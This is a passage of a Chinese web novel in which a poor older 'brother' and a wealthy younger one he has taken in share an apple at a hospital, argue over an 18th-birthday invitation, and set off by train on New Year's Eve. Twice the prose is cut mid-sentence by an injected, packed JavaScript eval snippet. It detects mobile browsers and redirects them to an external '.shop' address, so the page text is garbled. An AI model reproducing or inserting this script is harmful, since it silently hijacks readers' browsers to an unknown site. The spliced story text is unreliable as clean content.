黛燃不知道什么时候醒的,又不知道什么时候站在那儿的,身上穿的还是那身贵族校服,这次倒是和富人区医院的场景相符。 都这种时候了,黛烬还有心情忙里偷闲地评价黛燃的穿搭。 陈总的声音太大,黛燃明显全都听了个一字不差。 “哥,你是逃了饭局来接我的吗?” 黛烬见被拆穿,也不再隐瞒。 “嗯。” 黛燃却急了。 “这么重要的事情,哥你怎么不早和我说?” 黛烬想起黛燃就是因为被冻着了才进的医院,他快速关上窗户,转身快步将人拉回开了暖气的病房,边走边说。 “说这些做什么?” 黛燃被拉着走,却执着地继续追问黛烬。 “哥,你得说啊,不说我怎么知道?” 黛烬却固执己见。 “说这些有什么用,只会给别人添麻烦。” 黛燃反驳的话脱口而出。 “但我不是别人啊哥!” 闻言,黛烬的脚步倏忽顿住,但很快便恢复正常。 他扭过头不看黛燃,身体力行地表达自己下次还是不会说的想法,两人刚回到病房,黛烬就给被迫躺下的黛燃重新盖了被子。 黛燃被推到床上,按倒,盖被子,他紧盯一言不发的黛烬,越看越急。 直到他再也憋不住,一下从被子里爬出来,跪在床上,勾住黛烬的脖子就往自己的方向拉。 两人被迫面对面,黛燃语气恶狠狠地威胁。 “你说不说?” 黛烬见状,急忙从床上拉被子要包住黛燃,却见黛燃几乎整个人都挂在他身上,被子怎么盖都漏风。 黛烬只得把自己当堵墙,用多余的温暖顺道包住自己。 一床被子,同时包住两个人。 黛燃摆手想要挥开碍事的被子,没控制好力道,身体挂在黛烬身上一晃一摇。 黛烬踉跄几步将人扶住,两人贴得极近,呼吸咫尺相闻。 黛烬皱眉斥责。 “你乱来什么?要是感冒了怎么办?” 黛燃却不吃这一套。 “别转移话题,你说不说?” 黛烬一手扶着黛燃,一手拎着被子,在弟弟的怒目而视下终于缴械投降。 “行行行,下次我说行了吧?” 黛燃抿抿唇,话犹豫了下才说出口。 “哥这次不会骗我了吧?答应了就要做到。” 黛烬没想到黛燃会把他的话看得这么重,说实话,这事儿他也确实做得有问题,答应了要去接人,没做好。 人教人,教不会。 事教人,一次就会。 黛烬为错误缴了不少学费,缴了自己的工作,缴了电费,还缴了一份不菲的医药费。 这个亏太大了。 黛烬只得在心里祈祷“吃亏是福”不是坑人的心理安慰,选择入乡随俗地信了,给出继“说话算数”之后的第二份承诺。 “不骗你。” 黛燃终于满意,任黛烬把他推回床上裹好被子,有心情观察起病房来,很快就感受到了室内升起的温度,一脸惊喜。 “哥,这里有暖气。” “嗯,给你开的。” 黛燃不自觉翘起唇角。 “谢谢哥。” 黛烬坐在陪护的椅子上温和地笑,却背着黛燃偷偷打开手机查电表。 没办法,电太贵了。 每个人的评判标准不同。 哪怕护士比较了各个区的电费标准,判断被划分为富人区的二三区电费最便宜,但住在七八区的黛烬依旧觉得贵。 他看了眼需要缴纳的实时费用。 从黛燃住进这间病房开始,到现在一共过去二十分钟,他只开了空调,费用却已经飙升至九开头的两位数。 黛烬咬咬牙,一狠心又给保险金缴纳了一百块,选了【余额到期自动退】的选项,关上手机,决定眼不见心为静。 搞定燃眉之急,黛烬这才有心情处理别的小事。 他起身走到离黛燃不远的置物桌旁,将之前放在桌上的袋子解开,从里面翻找东西。 黛燃在他身后看着,不透明的环保袋看不清里面装的东西,他只得主动问。 “哥,你在拿什么?” 被问到的黛烬却身体一僵,意识到站着不动解决不了问题,他又认命地拎起袋子提到黛燃面前,打开给他看。 黛燃却在看清内容物后震惊地瞪大了眼,视线在袋子和黛烬身上来回打转,欲言又止,最终还是问了出来。 “哥,你怎么,会买这个?” 8. 【燃】苹果 黛燃撑着袋子往里看。 “苹果?” 黛烬没看他,默默把买的苹果递到他手里。 他哥一不好意思就眼神躲闪,哪怕是低头看地板都不看他。 “给你缴费的时候我去楼下转了一圈,刚好看到有个婆婆在卖这个,觉得你应该会喜欢,就买了点儿。” 黛燃虽然不清楚具体的物价,但知道现在蔬菜水果种植成本高,普遍都是论个卖,肯定不会便宜到哪里去。 苹果这种东西一不抗饿,二不治病,三又贵得像奢侈品,不能解决任何问题,买来只是单纯为了人的口腹之欲和心情。 对于一般家庭来说,买这种水果都会觉得不值当。 黛燃用手指摩挲着坑坑洼洼的苹果表皮,心里五味杂陈。 临家的园丁跟他说过,这种表皮带点坑洼斑点的,味道最好了。 这东西他从前经常吃,甚至可以说是从小吃到大。 种水果无非是要水要营养,抛开营养不说,就单论水这种贵得要按杯称量着卖的珍惜资源,一般人喝都喝不起。 但临家的水富裕到可以随便拿去浇地,所以他吃过品种更好的,个儿更大的,味道更甜的,水分更足的。 却唯独没吃过手里这个。 他哥又不姓临,只是觉得他可能会喜欢,就愿意掏这么多钱买这个给他…… 黛燃的嗓音也变得和刚成熟的脆苹果一样酸酸涩涩的。 “但是这个很贵吧?” 他哥张着袋子的手一顿,嘴比脆苹果硬得多。 “就买了这俩,你哥还没到只靠两个苹果就能被吃垮的地步。” 黛烬把一个苹果递给黛燃,剩下一个留在袋子里,再重新系好袋子,将苹果放进黛燃的书包里。 苹果天生就带着香味,把整间病房都染得酸酸的。 黛燃手里拿着苹果,默不作声。 一起生活的这几个星期他从没听过他哥的道歉,但此刻却莫名觉得,如果他哥道歉的话,空气大概就和现在一样酸。 收好苹果,黛烬绕着病房内转了一圈,他把黛燃的东西都整理收拾好装进书包里,人尴尬的时候就会假装很忙。 他走到窗边拉开窗帘,背对着黛燃说话。 “苹果我用流水洗了三遍,可以直接吃。” 黛燃看看手里的苹果,看不出是什么品种,听他哥的张嘴咬了一口。 很甜,就是水分没那么足。 但这是他哥掏平常舍不得的水费洗了三遍的苹果,是特意为他洗的,是用昂贵的流水而不是平常省钱的循环水洗的,是因为知道他爱干净,所以花了额外的钱和时间精力洗的。 好吃。 他边嚼苹果边从床边摸手机,打开聊天软件,先给季随之发去答应好的两万。 【dr】:[转账20000元] 【dr】:不好意思啊,害你手机摔地上 【随便随便】:你都赔我钱买新的了,我还能不原谅你? 【dr】:谢了,还有你车这个月的电费账单记得寄给我,我给你报销 【随便随便】:我还寄给你?咱俩都住第三大道路边儿上,你家我走都走去了好吗 【dr】:我现在不住在临家了 【随便随便】:你离家出走吗 【dr】:我叛出家门了 【随便随便】:? 【dr】:我不是说了吗,我改名了,现在不姓临,没有继续住在临家的道理 【随便随便】:那你住哪里 【dr】:在我哥家 【随便随便】:就是你上次提到的那个哥吗 【dr】:嗯 黛燃发完一个“嗯”,刚放下手机又想到什么似的重新拿起来,追加了一条新消息。 【dr】:我哥对我很好 黛燃打完字,又咬下一口苹果。 【随便随便】:那就行 【dr】:等有机会我问我哥要一下家里这一片儿的邮政编码,你月底把账单寄给我就行,我给你报销 黛燃把消息发出去,手指滑动着退出和季随之的聊天框,点进他哥的置顶。 苹果被咬出一声声脆响,他把果肉嚼碎后咽下去才说话。 “哥,我看病住院花了多少钱?我转给你。” 黛烬第三次走到窗边,把第二次拉上的窗帘又重新拉开。 闻言,他下意识想拒绝,可话还没说出口又被他紧急收回,最后还是接受了。 “救护车50开药80,你给我130就行。” 黛燃咬苹果的动作一顿。 “开药?” 黛烬输出自己从小听到大的理论知识,那是来自父母辈世代积累出的真理。 “不开药你不白来一趟吗?生病吃药好得快。” 黛燃不是很认可这套理论,但他没反驳,有更重要的事情想问。 “不是,哥你怎么知道我能吃什么药?” 黛烬握着窗帘的手不自觉收紧,面上不动声色地开玩笑。 “你哥是超人,猜得到。” 黛燃:? 黛燃在嘴里轻轻磨了磨牙齿,连舌尖也像是能尝到甜味一般,他被甜的笑出声。 “哥,咱能现实一点儿吗?” 黛烬“噗嗤”一声也笑了,把愧疚悄悄藏进未言尽的话里。 “哥就当了你一个月的哥,实在不知道你的过敏史,你又晕过去了不能问,所以给你做了检查。” 黛燃笑容僵住,忽然觉得嘴里的苹果不甜了,但他不认为是他哥苹果买的不好。 这不是他哥的问题。 “免费吗?” 黛烬又下意识地怼人。 “你当公立医院做慈善呢还免费?” 黛燃却没有回怼。 “既然不免费,我刚才问花了多少钱的时候哥怎么不说这个?” 黛烬垂下眼,语气弱了几分。 “说这个做什么。” 他哥又来了。 黛燃再次纠正。 “哥,这也是要说的啊,是我给你添的麻烦,还花了钱,肯定是要全部告诉我啊,我——” 他哥又打断他。 “行行行,哥知道了。” 黛燃又重新问了一遍。 “那检查花了多少钱?” 他哥欲言又止的,话都说得不情不愿。 “……800” “八百?!” 黛燃语调倏忽拔高。 “哥,你一个月工资才三千吧,你花这么多钱你刚才还不打算说?” 他哥看起来嫌他烦了。 “啧,不是都说了知道了吗,没完了?” 黛燃不和他哥争,直接用手机给他哥转了一万。 【dr】:[转账10000元] 黛烬别扭地拿手机看消息,一看到数额吓得又瞪圆了眼,没想到会收到这么多钱,他说话下意识算数。 “不是说了800吗,加上130也才930吧,你不识数吗?” 黛燃在床边没找到垃圾桶,便将吃完的苹果核暂时放在手边的桌子上,收起手机下床穿鞋。 他对钱不以为意,只觉得理所应当。 “哥,我害你丢了工作,出这笔钱是应该的,你拿着应急,不够再和我说。” 黛烬却直接当着黛燃的面点了退还转账。 “你的钱自己留着用吧,哥还没到需要靠你一个高中生养着的地步,而且我们还没血缘关系,你给我这么多钱算什么?” 黛燃穿好鞋,蹲在地上抬头看他哥。 “没血缘关系不能是兄弟吗?你是我哥,我给你钱天经地义吧?” 他哥双手抱臂,又在下意识防御别人的靠近。 “我爸给我钱都没说那是天经地义,你算哪门子天经地义?” 黛燃心里堵得难受,嘴里蹦出一句在黛烬听来堪称离经叛道的话。 “哥,那下辈子我做你爸。” 黛烬:? “你要骂人就好好骂。” 黛燃憋不住笑,垂着头笑得肩膀直抖。 “对不起哥。” 黛燃笑完了又想哭,积累的情绪猝不及防地开闸泄洪,被这句“对不起”刺激得连带着心情都跟着低落下来。 “我说真的,哥,对不起啊。” 他哥的声音从头顶传下来。 “哥没怪你。人吃五谷杂粮,哪能不生病?” 他却依旧低着头,话一堆一堆地往外冒。 “我不是说看病的事情。” 他的话音被忽然起来的情绪拧了一下,缓了缓才继续说。 “哥,我没工作过,不知道你这么忙,不是故意和你对着干的,我只是真的很想让哥来接我,是我考虑得不够周全,对哥的工作了解不多。” 他把他哥的每一句气话都记在心里,情绪过去了再一一应答。 “我没有故意不为哥着想,我当时情绪上头了我——我没想那么多,抱歉啊哥,我知道你的付出,为了请假来接我还要加那么多班,我心里是感激的,临时饭局哥也推脱不掉,哥不是故意的,我不该和哥吵的……” 黛烬不怕有人和他对着干,这样的人他这么多年在社会上见得多了,也练就了一张好嘴,怼人绝对够用。 可他吃软不吃硬。 黛燃这样和他低头,说这些话,他又想转移话题了。 “哥知道了,不就是接你放学吗,下次——” 黛燃把眼眶里不小心冒出的一层浅泪吸回去,笑着抬头。 “下次一定?” 他哥也笑了。 “我都失约过一次了,我说下次一定,你还信?” 黛燃点头。 “只要是哥说的,我都信。” 他哥不笑了。 “下次一定。” 黛燃这才站起身,黛烬等黛燃走出病房后才用手机关掉暖气。 室内“啪”得一声断电,黛烬便又陷入了伸手不见五指的黑暗中,他帮黛燃拎着书包提着药,两个人并肩往走廊尽头走。 黛燃手里还拿着吃剩的苹果核,长长的走廊扶手下有垃圾桶,他选了一个空荡荡的新桶,顺手把核丢进去。 果核在空中划出一道标准的抛物线。 * 垃圾丢进垃圾桶。 黛燃看着空荡荡的垃圾桶里唯一被扔进去的纸团,又气又急。 “我过生日,哥你凭什么不来?” 两人一站一坐。 黛烬坐在客厅沙发上,弓着身子,用茶几上摆着的电脑忙工作。 上次在小型工作室做客服,他吃了声音好听的红利被老板留下,哪怕被炒了鱿鱼,却也意外知晓了自己的竞争力。 他抓住机会,利用自己的音色优势,很快便找到了一份居家客服的新工作。 这工作虽然夜班多,又辛苦,缺点不少,但优点是白天被空出来,他可以做到自己说的,以后每周五都能接黛燃放学。 黛烬按键盘的动作飞快,吃完饭就赶上夜班的交班时间,这会儿是最忙的,他噼里啪啦地回复客户消息,忙里偷闲地和黛燃三天一小吵。 “你们小孩儿自己过生日自己热闹一下不就成了吗,干嘛非得把我叫去浪费这一天时间。” 电脑上忽然闪出一道电话弹窗,看到是系统电话,他连忙拿起手边的有线耳机戴上,有条不紊地按照培训要求的流程操作,点了接通,用话术开头。 “很高兴为您服务,请问有什么可以帮您?” 黛烬摆摆手示意黛燃走远点儿。 黛燃却不听他哥的话,反而直接在沙发上坐下。 他拉过地上的垃圾桶,里面刚被他哥清理过,很干净,只装了一张被他哥团成团的生日邀请函。 他把纸张从里面拿出来,重新展开。 豪门圈子里办生日宴,尤其是十八岁的生日宴,是要提前发邀请函去各家庄园别墅邀请的。 走流程办事,只有口头邀请的活动太不把人当回事,会被认为没礼貌。 黛燃生在这种圈子里,自然从小就耳濡目染各种不明说的规矩。 他印请柬的时候数着数量,特意给他哥留了一张,饭后才拿出来,他哥却看了几眼就把邀请函团成团扔进垃圾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531614|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桶了。 黛燃越想越委屈。 黛烬用几分钟快速处理好客户的问题,点了挂断键才和黛燃继续吵。 前面他让黛燃走远点黛燃不动,他也被搞得有点毛毛的,他本来就不是个好脾气的人。 “明天是除夕,过年期间三倍工资呢,我不工作陪着你闹,你给我钱吗?” 黛燃不退不让。 “我给。” 黛烬被气笑了,一把拽下耳机线扔到桌上。 “你钱多的没处花,都开始拿来砸我的脸了是吧?” 黛燃当然不是这个意思,他本来因为生气刻意板着脸,眼下听他哥这样说,他一下有些慌了。 “哥我没这个意思,你别曲解我。” 他又把手里皱皱巴巴的邀请函递到他哥面前。 “我十八岁就过这一次,我朋友发小他们都会来,我也想要哥来。” 黛烬接过那张看过一遍的邀请函,又看了眼内容,有点后悔刚才团成团丢垃圾桶了。 他应该直接撕掉,丢得越远越好。 “你说了你朋友发小都去,那就不是我能去的地方,黛燃,你不明白吗?” 黛燃越听越迷糊了。 “哥,我不明白。” 黛烬抹了把脸。 “我问你,你这生日宴办在什么地方?” 黛燃以为他哥动心了,连忙解释。 “在二三区的临渊市,我朋友都住在那边,比较方便。” 黛烬点点头。 他住七八区,除了接黛燃放学以外,他从没踏足过二三区,根本不清楚那里有哪些二级市。 听不懂,他就只抓着他懂的部分讲。 “二三区,那是我能去的地方吗?” 黛烬说的黛燃也听不懂,也只抓着听得懂的部分讲。 黛燃脑内想着城市的布局规划,八条大道将联盟居民居住的副中心区像切披萨一般划分开。 副中心区是个半圆,从上到下依次“切了八刀”,第一大道到第八大道。 零一区和八零区是生态保护区,不住人,所以夹在二三大道之间的二三区离地图下方的七八区很远。 就居住地而言,几乎是一头一尾了。 但两个大区形态上都近似一块“三角披萨”,“披萨尖”的位置其实挨得很近。 他平常从他哥家里出发,先坐公交到高铁站换站,然后就能坐高铁横穿几块披萨尖,直达学校了。 至于二三区内部,交通更是九大区内数一数二的便利,地铁、轻轨、甚至有些市区内还有可以随时调用的直升机。 明明不远,也又快又方便。 黛燃不明白,不明白他哥为什么说二三区是去不了的地方,他试着站在他哥的角度又想了想问题。 “哥你是不是担心钱?” 黛燃自顾自说着,却没注意到黛烬越来越沉的脸。 “哥,坐高铁很快的,也不贵,七八区到二三区的车票,一个人一个来回,商务座连六千都不到。” 黛燃学着他哥的样子,边说话边算账。 “过年期间哥怎么说也会有假的,到时候我们可以在二三区玩几天,如果玩得晚,我会承担哥的机酒钱的。” 黛烬压了压脾气,攥住手里的邀请函打断黛燃,撑着最后一丝理智试图再讲点道理。 “黛燃,这钱太多了,花在我身上不划算,你自己去就可以了。” 黛燃一听更急了。 “哥,我就是想要你去啊,怎么不划算,很划算的,而且我也想带你去我长大的地方看看,二三区有很多好玩的地方,我在那儿出生长大我最清楚了,我——” 黛烬再也听不下去,手里的邀请函他越攥越紧,理智顷刻间被一扫而光。 “黛燃,你怎么就是不明白!我不想去,二三区也不是我这种人应该去的地方!” 看着黛燃慢慢碎裂的笑容,黛烬忽然有种自虐般的快感,他相信难听的话只要他说得更难听更快,就没人能用话伤到他。 黛烬再次把邀请函攥成一团扔进垃圾桶,直接把话摊到明面上说。 “我这种人,一个月工资拼死拼活也就三四千,没本事没价值,就该跟垃圾一样被丢进垃圾桶里,小地方待着就行了,不能去二三区那种我从没了解过的地方丢人现眼!” 黛烬扭过头。 “黛燃,接你放学可以,我想想办法怎么都能去,但是那种地方我只要稍微多留一点时间我都会露馅!我藏不住的,我不想上赶着去丢人!” 黛烬话毕,好像空气都跟着死了。 黛燃再也说不出话,他又看向垃圾桶,这次却没敢再上前去捡。 桶里的纸张被他哥用力地从中间攥成一小把,形状看起来特别像苹果核。 他看着这样的纸团,仿佛又看到了前天被自己丢掉的苹果核,此时的心情却和丢果核时大不相同。 苹果吃完就没了,他忽然很想给临家的园丁打电话。 他想让园丁教他种树。 明明被丢掉的果核,才是能种出苹果的种子,是最有用的东西。 他想用他哥给他的苹果核,种出一棵这个世界上最漂亮的苹果树。 他想让他哥知道,被丢掉的不一定是垃圾,就算是垃圾也不一定代表没用。 黛燃抹了一把不知何时落下的泪水,抽噎着和他哥据理力争。 “我从没觉得哥丢人,哥也不是垃圾,哥不是……” 黛烬偏过脸的幅度更大了,看向电脑屏幕的视线也变得模糊。 “那你说我是什么?” 黛燃的话前后脚接得又快又急,一条条证据罗列得有理有据令人信服。 “哥不偷不抢认真赚钱,一个人撑起这个家,哥照顾自己还要照顾我,哥给我买苹果,哥是这个世界上最有用的人!” 同样的东西,有人弃之如敝履,有人却视之如珍宝。 土里挖个坑,种子丢进去。 垃圾丢进垃圾桶。 苹果种出苹果树。 黛燃语无伦次,话却滚烫又真挚。 “哥哥,是我一个人的苹果树。” 9. 【烬】换班 黛烬长这么大,还从没听过有人和他说这种话。 原来这就是做哥哥的好处吗? 从小他就拦着他妈生二胎,他觉得有个弟弟,就意味着他妈给他的苹果得分一半出去。 不仅要分,还得分的一模一样,只要稍微分的不好,家里就得大动干戈,鸡犬不宁。 但他没想过,原来他还可以把整个苹果都让出去。 弟弟吃苹果,他做弟弟的苹果树。 苹果树可比分苹果的人值钱多了。 黛烬忍不住在心里骂了句脏话。 诶呦我操。 原来他在黛燃眼里,比一颗价格高昂的苹果还要值钱。 他主动败下阵来,尽管动作有点不熟练,但他第一次试着从桌上的抽纸盒里抽了张纸,递到黛燃面前。 “行了哥知道了。” 黛燃接过纸,却不说话。 黛烬也不再多说,转回身继续处理工作。 他把积累在手头上的事情以最快的速度处理完,然后马上找到列表里主管的聊天框,发消息过去。 【dj】:不好意思啊主管,明天我没办法加班了,能给我换一天吗? 【主管】:不是说好了吗小黛,你临时这样说,明天除夕很难找到人顶班呀。 黛烬以最快的速度道歉。 【dj】:抱歉。 他稍微犹豫几秒就想到了解决办法。 【dj】:把后天的班换给我可以吗?我只要明天这天的假,后天初一我可以顶班,麻烦您帮忙沟通一下,我可以和后天加班的同事换班。 【主管】:小黛你真要拿初一那天换啊?我记得你不是说那天要回家陪你妈妈吗? 黛烬看到新消息,眼疾手快,迅速把电脑屏幕转换方向,避开黛燃的视线继续回。 【dj】:确定要换,原本是计划回老家,但是临时有点事情,必须要把这天腾出来,麻烦您帮我沟通一下成吗? 【主管】:行,你都这么说了,我这边帮你问问,能换我跟你说一声啊。 【dj】:谢谢主管。 黛烬松了口气。 他从屏幕上收回视线,不经意用余光悄悄瞥黛燃,看黛燃低着头发呆,手里把擦过眼泪的纸巾撕得一条一条的。 黛烬叹了口气。 他把垃圾桶拉回来,亲手把攥成苹果核形状的邀请函拿出来,第二次展开,躲着黛燃的眼神仔仔细细地看请柬。 这请柬一看就是花了大价钱设计过的,外面是浮雕烫金,就连印刷用的纸恐怕也是价值不菲,手一摸上去都打滑。 展开后的内页写着生日宴的时间、地点、推荐出行方式、以及负责人电话,又画了二三区的简易地图。 黛烬看得一言不发。 原来二三区和七八区一样,都是划分成九个二级市,黛燃之前说的临渊市就在“三角披萨”的尖端,被特意加红圈出来。 这是他第一次了解二三区的样子。 在黛燃给他的生日邀请函上。 黛烬看邀请函看了十分钟,看了一遍又一遍,最后咽了咽口水,指着请柬下方写着的地址,一本正经地问黛燃。 “你这地址,坐高铁的话我们要换几个班?” * 次日一早。 黛烬背着装了两人换洗衣物的包,周一一早就和黛燃上了最早的一班公交车,一起直奔高铁站。 黛燃轻车熟路地等车、拦车、上车,看起来心情很好,上了车就主动和司机打招呼。 “叔叔除夕快乐!” 黛烬确定黛燃上车后,自己才跟着走上去,正好看到黛燃和司机有说有笑。 司机大叔也笑着朗声回应。 “同乐同乐!燃燃怎么今天还来搭车啊,我记得你们学校不是上周五就放寒假了吗?” 黛燃点头。 “是放假了,我今天不是去上学的,我要出远门,坐这班车换班,马上去高铁站,叔叔你记性真好!” 司机大叔笑呵呵地摸摸脑袋,又伸手比划个“二”出来。 “那可不!你说巧不巧,我开的这班车啊,一天就来你们这儿两趟,一趟上午最早,正好接你上学,一趟下午最晚,诶,又正好接你放学!” 司机大叔话说一半,像是想到什么似的,收起比划的两根手指,表情奇怪又失望,但更多的,是担心。 “话说回来,燃燃你上周五放学怎么没来坐叔叔的车啊,叔叔当时等了你好半天嘞!你要是错过我这班车,可要等好久才能回家啊!” 此时黛烬正好走到黛燃身边,听司机提及上周五的事情,有点心虚。 他安静地拿钱买票,付了两人份。 黛燃却不在乎两人闹到医院去的别扭,一看他来,兴奋地勾住他的脖子。 “叔叔给你介绍一下,这是我哥!那天就是我哥接我回去的,所以我没坐车!” 司机一听这话才恍然大悟,“哦哦”地回应,摸摸肚皮,视线转到黛烬脸上,没想到也是个熟面孔。 “诶你不是上上周的周五来坐过我车的小伙子吗?就刚好是燃燃放学那个点儿坐的,我记得你!” 黛烬也惊了下,他倒是没去记司机的长相,不过那天他确实坐过公交车就是了,和尤京喝了酒,从会所出来正好幸运地遇到那班回家的车。 他不由感叹。 “您记性还真是挺好的。” 司机大叔笑得更得意了。 “我记性是不差,但主要是你们兄弟俩那个长相啊,看一眼,想让人忘记都难!” 这样的夸奖从小到大黛烬听过太多,已经习以为常,他笑笑不说话,扭头扫了眼空无一人的车厢。 车厢空荡荡,现在只装了一颗苹果。 外加一棵刚刚萌芽的苹果树。 这班车确实很早,车里一个乘客都没有,他带着黛燃就近找了个挨在一起的位置坐下。 手里握着栏杆,他想起自己上次坐车就坐在这儿。 不过那个时候他身边的位置空着。 但这次,他身边有了黛燃。 黛烬沉默着悄悄瞥黛燃,看他正襟危坐的样子觉得好笑,心里无故多了几分这二十五年来从未有过的暖意。 两人明明不是亲兄弟,却像是也有心灵感应一般,他看黛燃,黛燃也忽然转头要看他。 黛烬却没给两人对视的机会,快速收回目光。 司机大叔从后视镜里看两人,也觉得这一幕熟悉,今天换了一班车,却碰巧遇到同一班人。 但是比上一次看的时候圆满。 他乐呵呵地又开口念叨。 “你们爸妈还真是有福气,两个儿子都长这么帅。” 黛烬的笑容刹那间僵硬在脸上。 不说他都忘了。 他和黛燃是兄弟。 在谁看来都是兄弟。 也只能是兄弟。 黛烬深吸了一口气,或许是身体无意识在抖,导致气被吸上来都是一卡一顿的。 其实他和黛燃是没有血缘关系的。 黛烬不知道为什么,忽然很想开口和司机纠正这层关系,反应过来后他又忍不住问自己为什么。 为什么这么在意别人口中他和黛燃的关系? 他们确实就是兄弟不是吗? 不是兄弟还能是什么? 司机一脚油门下去。 车子动了,黛烬的心却停了。 * 黛燃在他前面带路。 黛烬只去过一次二三区——为了去接黛燃,但最后还是因为各种原因来迟,错过了放学时间。 这是他第二次出远门。 有了前车之鉴,这次他更害怕错过班次了,一路上不停掏手机看时间。 黛烬第n次点亮手机。 2104年03月03日9:33:33 除夕。 他和弟弟在一起。 黛燃走到售票厅口买票,黛烬在黛燃身后不远不近的地方等。 虽然二十二世纪科技发展快速,但为了解决民众的就业问题以及保留一些人文关怀,联盟在副中心区的七大居民区增设了多家线下售票厅。 线上买票制度也未改变,大家各取所需。 售票员在窗口举着小话筒问黛燃。 “您好,请问您想买哪里的票?” 黛燃将准备好的钱顺着窗口递过去。 “去二三区临渊市,我要四张商务座,谢谢。” 售票员在电脑上输入相应班次查询。 “二三区九个市区都有直达的班次,但是收费会贵很多,换班的话便宜一些,差不多可以省40%的钱,先生您需要哪一种?” 黛燃从来不思考这种问题,脱口而出。 “不用换班,我要四张直达的票。” 售票员动作很快,收钱、验钞、撕票、递票一气呵成。 “您的纸质票据请收好,感谢您乘坐JG2301号高速列车,欢迎下次光临。” “谢谢。” 黛燃拿了票就往黛烬身边走,他从四张车票里选了两张挨在一起的座位,一张递给黛烬。 “哥,这是你的票!” 黛烬接过来,发现这票和他上次买的那张站票款式不一样,但写着的信息大差不差,就是写着信息的纸张华丽了点儿。 确定了时间地点没问题后,他才小心地收进口袋,和黛燃一起往候车厅走。 黛燃走路虽然不至于一蹦一跳,但黛烬能感觉到他一路上都很高兴,喜悦连带着将他的紧张都冲淡了几分。 黛烬还在想公交车上那位司机大叔的话。 其实他不敢承认,他也是今天才知道黛燃是上周五放的寒假,后知后觉的愧疚压得他喘不过气。 当时所有人都回家了吧,他却把黛燃一个人留在学校里…… 他当时还说让黛燃找个地方等他…… 那天学校里放假,估计全校人都走完了,他让黛燃找个地方躲着,黛燃在校内有可能真的找不到…… 但黛烬还没养成道歉的习惯,下意识旁敲侧击,顾左右而言他。 他加快几步跟上走在前面的黛燃。 “那天我接你接的晚了,在医院收拾你书包的时候怎么没看到你带寒假作业?你不是那天放寒假吗?” 黛燃慢下脚步点头。 “是啊,但是我们不太分这个东西的,寒假也会上网课或者补习,学校没有布置长假作业的习惯。” 又到黛烬插不上话的话题了。 黛烬上学的时候不是这样的,他再一次被迫认识到了时代的进步,以及他和黛燃之间无处不在的差距。 他忍不住又加快了步子,这次不止是为了追上黛燃,而是稍微走在黛燃前面几步,好似只有这样,才能勉强压住他方方面面都落后于黛燃的现状。 七八区又下雪了。 黛烬想起之前新闻上刷到有人说二三区和一二区都是有气象局专门调节天气的,他从前都痛斥这简直是有悖天道! 时过境迁。 此刻他站在黛燃身边,却希望能擅自要求天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531615|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空放晴。 寒风凛冽刺骨,无孔不入。 黛烬拿出准备好的伞,撑起来勉强替黛燃挡住乱飞的风雪,尽量接住黛燃的话。 “这样啊,那我也没看你带什么作业,听课没有这些东西没关系吗?” 黛燃没听懂黛烬说不出口的阶级差距,却听懂了黛烬无人察觉的焦虑情绪。 他主动停下脚步,站在原地搓搓手又呼了口热气,他和黛烬差不多高,稍微抬一点头就能将视线撞到一起。 “哥你别紧张,我都安排好了,昨天晚上你工作的时候我都检查过好几遍,没有漏的东西,我们上课用的是电子板和电子笔,不需要带其他东西,已经够用了。” 黛燃考虑的面面俱到,黛烬便只剩下点头说好。 “好。” 剩下的路两人都是沉默着走的,一直到候车厅门口,门口的检票员伸手将两人拦住。 “您好,请出示一下两位的车票。” 进候车厅要验票。 黛烬和黛燃照做,检票员看清车票的瞬间立马收起严肃,迅速换上一脸笑容,主动伸手为两人带路。 “两位先生请上二楼吧。” 黛烬还记得自己上次乘车时进过一楼,里面会按照不同班次划分座位,方便乘客及时上车。 他上次没经验,每个流程都走得胆战心惊,这次有经验了,他提前跟人打听。 “请问一下,我们在二楼的哪一块儿分区呢?” 检票员蹙眉觉得有点奇怪,但还是面带笑容地解释。 “先生,我们二楼是商务座乘客专用,不会分区的,都是单人间,到了时间会有专人提醒,您上去之后把车票给服务生看一眼就行。” 黛烬没想到有些经验其实根本用不上,在绝对的金钱面前,便宜的经验只会浪费时间。 他不再多问,第一个抬脚往二楼走。 这次黛燃快走几步走在他前面,带他过完流程找好位置,招手叫他过去。 “哥你坐这里,我们坐一起。” 黛烬有点感激有点感动有点安心,又有点悲哀地意识到。 黛燃在他前面带路。 * 不用换班的路特别短。 黛烬只需要站了坐,坐了站。 他又迟来地理解了那些很贵的鞋为什么喜欢挂着价签不剪,原来有钱人真的不需要走几步路。 他终于走进商务舱,对着车票上提供的位置信息找座坐下,这是他唯一需要做的事情了。 这里一共四个座位,只有两个座位挨在一起,剩下两个都是散座。 直到发车前的五分钟,黛烬都没在商务舱里看到下一个乘客,散座没有坐人。 他终于忍不住开口想和黛燃说话。 “这里的座还没人来吗?” 黛燃戴了耳机在听课,靠近黛烬一侧的耳机被他刻意挪开了一点位置,正好听到黛烬说话。 “这里不会有人来了哥,我给这里的四个座位都买下来了。” 黛烬:? 黛烬搞不懂黛燃是什么意思,只得用自己的阅历去尽量理解。 “你买这么多,是多买有优惠吗?” 黛燃视线没离开电子板的屏幕,一心二用。 “没啊,一个人实名制买一个座可以,但多买座相当于是占别人的位置,无论这个位置后面有没有人买,都是得交信誉值罚款的,多一个座,要交百分之三十票价的罚款,或者扣三分。” 